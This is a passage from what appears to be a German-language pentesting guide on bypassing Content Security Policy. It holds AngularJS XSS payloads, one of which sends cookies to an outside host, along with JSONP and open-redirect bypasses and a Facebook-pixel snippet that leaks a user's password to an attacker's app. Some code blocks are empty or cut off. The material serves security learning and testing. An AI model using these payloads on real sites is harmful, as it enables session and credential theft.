{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
Weitere [**Payloads aus diesem Artikel**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
```
#### Ausnutzung von www.google.com für offene Weiterleitungen
Die folgende URL leitet auf example.com weiter (von [hier](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
### Drittanbieter-Endpunkte + JSONP
Die Möglichkeit besteht, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu empfangen. Wie es in diesem Bericht [getan wird](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Szenarien wie dieses, bei denen `script-src` auf `self` und eine bestimmte Domain gesetzt ist, die auf der Whitelist steht, können mithilfe von JSONP umgangen werden. JSONP-Endpunkte ermöglichen unsichere Rückrufmethoden, die es einem Angreifer ermöglichen, XSS auszuführen. Funktionierendes Payload:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält fertige JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine offene Weiterleitung enthält**, da Weiterleitungen vertrauenswürdig sind, wenn der ursprüngliche Endpunkt vertrauenswürdig ist.
### Missbräuche durch Dritte
Wie in dem [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die möglicherweise irgendwo in der CSP zugelassen sind und missbraucht werden können, um Daten auszuleiten oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:
| Entität | Zugelassene Domain | Fähigkeiten |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Wenn Sie eine der zugelassenen Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst ausleiten oder Code ausführen.
Wenn Sie beispielsweise die folgende CSP finden:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
oder
```
Content-Security-Policy: connect-src www.facebook.com;
```
Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gemacht wurde. In diesem Fall befolgen Sie diese allgemeinen Schritte:
1. Erstellen Sie hier ein Facebook Developer-Konto.
2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
3. Gehen Sie zu "Einstellungen -> Grundlegendes" und notieren Sie sich Ihre "App-ID".
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt mithilfe des Facebook SDK-Gadgets "fbq" über ein "customEvent" und die Datenpayload exfiltrieren.
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event Manager unter einer URL wie dieser zu finden sein könnte: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie den Tab "Test Events", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
Dann führen Sie auf der Opferseite den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, um auf das Facebook-Entwicklerkonto des Angreifers zu verweisen und ein benutzerdefiniertes Ereignis wie folgt auszulösen:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Umgehung über RPO (Relative Path Overwrite)
Neben der bereits erwähnten Umleitung zur Umgehung von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
Wenn beispielsweise CSP den Pfad `https://example.com/scripts/react/` zulässt, kann er wie folgt umgangen werden:
```html
```
Der Browser wird letztendlich `https://example.com/scripts/angular/angular.js` laden.
Dies funktioniert, weil der Browser eine Datei namens `..%2fangular%2fangular.js` unter `https://example.com/scripts/react/` lädt, was mit CSP konform ist.
Daher wird es dekodiert und effektiv `https://example.com/scripts/react/../angular/angular.js` angefordert, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.
Durch **Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen Browser und Server können die Pfadregeln umgangen werden**.
Die Lösung besteht darin, `%2f` auf der Serverseite nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen Browser und Server sicherzustellen und dieses Problem zu vermeiden.
Online-Beispiel: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes-JS-Ausführung
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### fehlendes **base-uri**
Wenn die Direktive **base-uri** fehlt, können Sie sie missbrauchen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) durchzuführen.
Darüber hinaus, wenn die Seite ein Skript unter Verwendung eines relativen Pfads lädt (wie `
ng-app"ng-csp ng-click=$event.view.alert(1337)>